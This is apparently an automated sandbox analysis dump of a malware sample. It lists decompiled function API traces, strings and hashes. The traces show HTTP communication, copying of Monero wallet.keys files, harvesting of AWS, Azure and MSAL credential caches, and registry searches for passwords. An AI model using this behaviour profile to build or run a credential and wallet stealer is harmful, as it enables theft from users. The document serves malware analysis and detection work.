Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00124965
StrCmpCA.SHLWAPI(?,011FEAA8), ref: 0012498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00124B0A
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00140DC3,00000000,?,?,00000000,?,",00000000,?,011FEA38), ref: 00124E38
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00124E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00124E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00124E99
InternetCloseHandle.WININET(00000000), ref: 00124EFD
InternetCloseHandle.WININET(00000000), ref: 00124F15
HttpOpenRequestA.WININET(00000000,011FEAB8,?,011FE438,00000000,00000000,00400100,00000000), ref: 00124B65

Part of subcall function 0013A380: lstrlen.KERNEL32(?,011F8F70,?,\Monero\wallet.keys,00140DFF), ref: 0013A395
Part of subcall function 0013A380: lstrcpy.KERNEL32(00000000), ref: 0013A3D4
Part of subcall function 0013A380: lstrcat.KERNEL32(00000000,00000000), ref: 0013A3E2

Part of subcall function 0013A270: lstrcpy.KERNEL32(?,00140DFF), ref: 0013A2D5

Part of subcall function 0013A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0013A342
Part of subcall function 0013A2F0: lstrcat.KERNEL32(00000000), ref: 0013A352

InternetCloseHandle.WININET(00000000), ref: 00124F1F

Strings

", xrefs: 00124D83
------, xrefs: 00124CB9
", xrefs: 00124C42
------, xrefs: 00124A0D
------, xrefs: 00124B78

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: c14a4efbc91b7f2bbae86f3d86eaafd66183440a9e6bc8159111b7b65bdf3357
Instruction ID: 64101d8d592667ad531ed8303dba280282fcdb2ed3917c3c09cd86815b8687a8
Opcode Fuzzy Hash: c14a4efbc91b7f2bbae86f3d86eaafd66183440a9e6bc8159111b7b65bdf3357
Instruction Fuzzy Hash: B212FC71910218AACB15EB90DC92FEEB738BF25300F904199F54666492EF716F48CFA2

Function 00137DC0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

RegOpenKeyExA.KERNEL32(00000000,011FB598,00000000,00020019,00000000,001405A6), ref: 00137E44
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00137EC6
wsprintfA.USER32 ref: 00137EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00137F1B
RegCloseKey.ADVAPI32(00000000), ref: 00137F2C
RegCloseKey.ADVAPI32(00000000), ref: 00137F39

Part of subcall function 0013A170: lstrcpy.KERNEL32(?,00000000), ref: 0013A1B6

Strings

?, xrefs: 00137E1A
- , xrefs: 00138043
%s\%s, xrefs: 00137EED

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 0cc5479b39d921c209eff0413c684eea80e4d6c0abc4689d16de8b1951a36344
Instruction ID: 23f7c695454770c3e2b96a92adec0959ad2e6b4b9eeef21f4d179336fb9d5d53
Opcode Fuzzy Hash: 0cc5479b39d921c209eff0413c684eea80e4d6c0abc4689d16de8b1951a36344
Instruction Fuzzy Hash: 65811C759112189BDB29DB54CC85FEAB7BCBF58700F408298F14AA6190DF71AF89CF90

Function 001262D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A170: lstrcpy.KERNEL32(?,00000000), ref: 0013A1B6

Part of subcall function 00124800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 0012483B
Part of subcall function 00124800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00124852
Part of subcall function 00124800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00124868
Part of subcall function 00124800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00124889
Part of subcall function 00124800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00124899

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

InternetOpenA.WININET(00140DE6,00000001,00000000,00000000,00000000), ref: 00126331
StrCmpCA.SHLWAPI(?,011FEAA8), ref: 00126353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00126385
HttpOpenRequestA.WININET(00000000,GET,?,011FE438,00000000,00000000,00400100,00000000), ref: 001263D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0012640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00126421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 0012644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 001264BD
InternetCloseHandle.WININET(00000000), ref: 0012653F
InternetCloseHandle.WININET(00000000), ref: 00126549
InternetCloseHandle.WININET(00000000), ref: 00126553

Strings

GET, xrefs: 001263CC
ERROR, xrefs: 00126519
ERROR, xrefs: 00126457

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: f88cbe078c7948bb4c91148e5c7ad5019cefd5193d77f645689e66bda2721994
Instruction ID: e2db33b64eb3ba355a6fae3fdc85703ddba400d80cce375e52841d03b6ec1fa8
Opcode Fuzzy Hash: f88cbe078c7948bb4c91148e5c7ad5019cefd5193d77f645689e66bda2721994
Instruction Fuzzy Hash: 8D715A71A00218EBDB24EFA0DC49BEEB778BF54700F508099F50A6B1D0DBB46A84CF91

Function 00134FF0 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A1F0: lstrlen.KERNEL32(00124F55,?,?,00124F55,00140DC6), ref: 0013A1FB
Part of subcall function 0013A1F0: lstrcpy.KERNEL32(00140DC6,00000000), ref: 0013A255

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00135124
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00135181
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00135337

Part of subcall function 0013A170: lstrcpy.KERNEL32(?,00000000), ref: 0013A1B6

Part of subcall function 00134CD0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00134D08

Part of subcall function 0013A270: lstrcpy.KERNEL32(?,00140DFF), ref: 0013A2D5

Part of subcall function 00134DA0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00134DF8
Part of subcall function 00134DA0: lstrlen.KERNEL32(00000000), ref: 00134E0F
Part of subcall function 00134DA0: StrStrA.SHLWAPI(00000000,00000000), ref: 00134E44
Part of subcall function 00134DA0: lstrlen.KERNEL32(00000000), ref: 00134E63
Part of subcall function 00134DA0: lstrlen.KERNEL32(00000000), ref: 00134E8E

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0013526B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00135420
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 001354EC
Sleep.KERNEL32(0000EA60), ref: 001354FB

Strings

ERROR, xrefs: 00135329
ERROR, xrefs: 00135116
ERROR, xrefs: 00135412
ERROR, xrefs: 00135173
ERROR, xrefs: 001354DE
ERROR, xrefs: 0013525D

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 96187db9f92b7d6450637ab60ae110a3f6aaff7d5b363514f91abfdb39b3eedb
Instruction ID: 1b2a0c1c865b6909b0c84db9fcb9b51e99c1fe511b6bfa0b44b094c304b764fb
Opcode Fuzzy Hash: 96187db9f92b7d6450637ab60ae110a3f6aaff7d5b363514f91abfdb39b3eedb
Instruction Fuzzy Hash: 23E12272910104AACB18FBA0EC56EEE773DAF75300F808568F54657192EF756B4CCB92

Function 00134850 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00138880: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001388AB

lstrcat.KERNEL32(?,00000000), ref: 00134890
lstrcat.KERNEL32(?,\.azure\), ref: 001348AD

Part of subcall function 001343F0: wsprintfA.USER32 ref: 0013440C
Part of subcall function 001343F0: FindFirstFileA.KERNEL32(?,?), ref: 00134423

lstrcat.KERNEL32(?,00000000), ref: 0013491C
lstrcat.KERNEL32(?,\.aws\), ref: 00134939

Part of subcall function 001343F0: StrCmpCA.SHLWAPI(?,00140FAC), ref: 00134451
Part of subcall function 001343F0: StrCmpCA.SHLWAPI(?,00140FB0), ref: 00134467
Part of subcall function 001343F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0013465D
Part of subcall function 001343F0: FindClose.KERNEL32(000000FF), ref: 00134672

lstrcat.KERNEL32(?,00000000), ref: 001349A8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 001349C5

Part of subcall function 001343F0: wsprintfA.USER32 ref: 00134490
Part of subcall function 001343F0: StrCmpCA.SHLWAPI(?,001408BA), ref: 001344A5
Part of subcall function 001343F0: wsprintfA.USER32 ref: 001344C2
Part of subcall function 001343F0: PathMatchSpecA.SHLWAPI(?,?), ref: 001344FE
Part of subcall function 001343F0: lstrcat.KERNEL32(?,011FEA18), ref: 0013452A
Part of subcall function 001343F0: lstrcat.KERNEL32(?,00140FC8), ref: 0013453C
Part of subcall function 001343F0: lstrcat.KERNEL32(?,?), ref: 00134550
Part of subcall function 001343F0: lstrcat.KERNEL32(?,00140FCC), ref: 00134562
Part of subcall function 001343F0: lstrcat.KERNEL32(?,?), ref: 00134576
Part of subcall function 001343F0: CopyFileA.KERNEL32(?,?,00000001), ref: 0013458C
Part of subcall function 001343F0: DeleteFileA.KERNEL32(?), ref: 00134611

Strings

*.*, xrefs: 00134944
msal.cache, xrefs: 001349D0
\.aws\, xrefs: 0013492D
\.azure\, xrefs: 001348A1
Azure\.aws, xrefs: 0013493F
*.*, xrefs: 001348B8
Azure\.IdentityService, xrefs: 001349CB
Azure\.azure, xrefs: 001348B3
\.IdentityService\, xrefs: 001349B9

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 88c2b704798ff34351d5b3410cf4b4f74eb42047d3e9cbdb6241ccda9eb6c618
Instruction ID: e3353b0b32e0945f49a0c2147bf9e99cf336a95c92b4d37ed666b739748f04c3
Opcode Fuzzy Hash: 88c2b704798ff34351d5b3410cf4b4f74eb42047d3e9cbdb6241ccda9eb6c618
Instruction Fuzzy Hash: F941C4BA94021867DB10F760EC57FED762C9F75704F404494B68967091EFB467C88B92

Function 00121310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 001212A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001212B4
Part of subcall function 001212A0: RtlAllocateHeap.NTDLL(00000000), ref: 001212BB
Part of subcall function 001212A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 001212D7
Part of subcall function 001212A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 001212F5
Part of subcall function 001212A0: RegCloseKey.ADVAPI32(?), ref: 001212FF

lstrcat.KERNEL32(?,00000000), ref: 0012134F
lstrlen.KERNEL32(?), ref: 0012135C
lstrcat.KERNEL32(?,.keys), ref: 00121377

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

Part of subcall function 0013A380: lstrlen.KERNEL32(?,011F8F70,?,\Monero\wallet.keys,00140DFF), ref: 0013A395
Part of subcall function 0013A380: lstrcpy.KERNEL32(00000000), ref: 0013A3D4
Part of subcall function 0013A380: lstrcat.KERNEL32(00000000,00000000), ref: 0013A3E2

Part of subcall function 0013A270: lstrcpy.KERNEL32(?,00140DFF), ref: 0013A2D5

Part of subcall function 00138600: GetSystemTime.KERNEL32(00140E02,011FA5E0,0014059E,?,?,001213F9,?,0000001A,00140E02,00000000,?,011F8F70,?,\Monero\wallet.keys,00140DFF), ref: 00138626

Part of subcall function 0013A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0013A342
Part of subcall function 0013A2F0: lstrcat.KERNEL32(00000000), ref: 0013A352

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00121465

Part of subcall function 0013A170: lstrcpy.KERNEL32(?,00000000), ref: 0013A1B6

Part of subcall function 00129A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00129A3C
Part of subcall function 00129A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00129A61
Part of subcall function 00129A10: LocalAlloc.KERNEL32(00000040,?), ref: 00129A81
Part of subcall function 00129A10: ReadFile.KERNEL32(000000FF,?,00000000,0012148F,00000000), ref: 00129AAA
Part of subcall function 00129A10: LocalFree.KERNEL32(0012148F), ref: 00129AE0
Part of subcall function 00129A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00129AEA

DeleteFileA.KERNEL32(00000000), ref: 001214EF

Strings

.keys, xrefs: 0012136B
wallet_path, xrefs: 00121330
SOFTWARE\monero-project\monero-core, xrefs: 00121335
\Monero\wallet.keys, xrefs: 0012138D

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateChangeCopyCreateDeleteFindFreeNotificationOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 2023266049-218353709
Opcode ID: ba7a0520981051c1d54a5526475e29519165d995c6c3a69bbe5ffab4133375e2
Instruction ID: f068ad4cc56d25c2faf51709b21712051200e7437f1ce4791a4bfbbe079d3c79
Opcode Fuzzy Hash: ba7a0520981051c1d54a5526475e29519165d995c6c3a69bbe5ffab4133375e2
Instruction Fuzzy Hash: A35133B1D501196BCB15FB60DC96FED733CAF64300F804598B64A66092EF706B89CFA6

Function 00127610 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00127310: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0012737A
Part of subcall function 00127310: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 001273F1
Part of subcall function 00127310: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0012744D
